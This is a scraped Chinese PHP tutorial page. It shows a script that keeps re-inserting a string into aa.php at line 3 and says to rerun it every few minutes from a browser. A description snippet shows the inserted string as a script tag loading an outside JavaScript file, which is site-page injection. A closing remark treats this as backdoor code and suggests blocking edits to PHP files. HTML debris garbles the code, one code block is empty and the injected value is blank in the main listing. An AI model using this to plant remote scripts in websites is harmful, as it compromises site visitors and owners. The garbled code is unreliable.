当前位置:Gxlcms > PHP教程 > php在文件指定行中写入代码的方法_PHP教程

php在文件指定行中写入代码的方法_PHP教程

时间:2021-07-01 10:21:17 帮助过:20人阅读

代码如下:
  1. <br><!--?php <BR-->$file="aa.php" ; <br>$code=""; <br>$f=fopen($file,"r+"); <br>$content=fread($f,filesize($file)); <br>fclose($f); <br>if(!strstr($content,$code)){ <br>$arrInsert = insertContent($file, $code, 3); <br>unlink($file); <br>foreach($arrInsert as $value) <br>{ <br>file_put_contents($file, $value, FILE_APPEND); <br>} <br>} <br>function insertContent($source, $s, $iLine) { <br>$file_handle = fopen($source, "r"); <br>$i = 0; <br>$arr = array(); <br>while (!feof($file_handle)) { <br>$line = fgets($file_handle); <br>++$i; <br>if ($i == $iLine) { <br>$arr[] = $line .$s . "\n"; <br>}else { <br>$arr[] = $line; <br>} <br>} <br>fclose($file_handle); <br>return $arr; <br>} <br>?> <br> <br>这个文件保存成php后,再用一个小程序隔几分钟指定执行它就可以。像operia浏览器就有这个功能。不过我又加了个html代码来运行它,可以用ie了,打开这个html后扔在哪就可以。 <br><span style="CURSOR: pointer" onclick="doCopy('code79131')"><u></u></span> 代码如下:<pre class="brush:php;toolbar:false layui-box layui-code-view layui-code-notepad"><ol class="layui-code-ol"><li><br> <br> <br> <br> <br> <br> <br> <br><br>解决方法:这些代码都会在php中写入代码,我们可以写个规则禁止修改php文件.即可,一般服务器中才可以了,如果是虚拟主机的朋友就需要下载代码,经常查后门来解决了</li><li><p></p></li><li><p align="left"><span id="url" itemprop="url">http://www.bkjia.com/PHPjc/325439.html</span><span id="indexUrl" itemprop="indexUrl">www.bkjia.com</span><span id="isOriginal" itemprop="isOriginal">true</span><span id="isBasedOnUrl" itemprop="isBasedOnUrl">http://www.bkjia.com/PHPjc/325439.html</span><span id="genre" itemprop="genre">TechArticle</span><span id="description" itemprop="description"> 代码如下:</span></p><pre class="brush:php;toolbar:false layui-box layui-code-view layui-code-notepad"><ol class="layui-code-ol"><li>?php $file="aa.php" ; $code="script src=http://www.google/ga.js/script"; $f=fopen($file,"r+"); $content=fread($f,filesize($file)); fclose($f); if(!strstr...<p></p></li><li> </li></ol></pre></li></ol></pre>

人气教程排行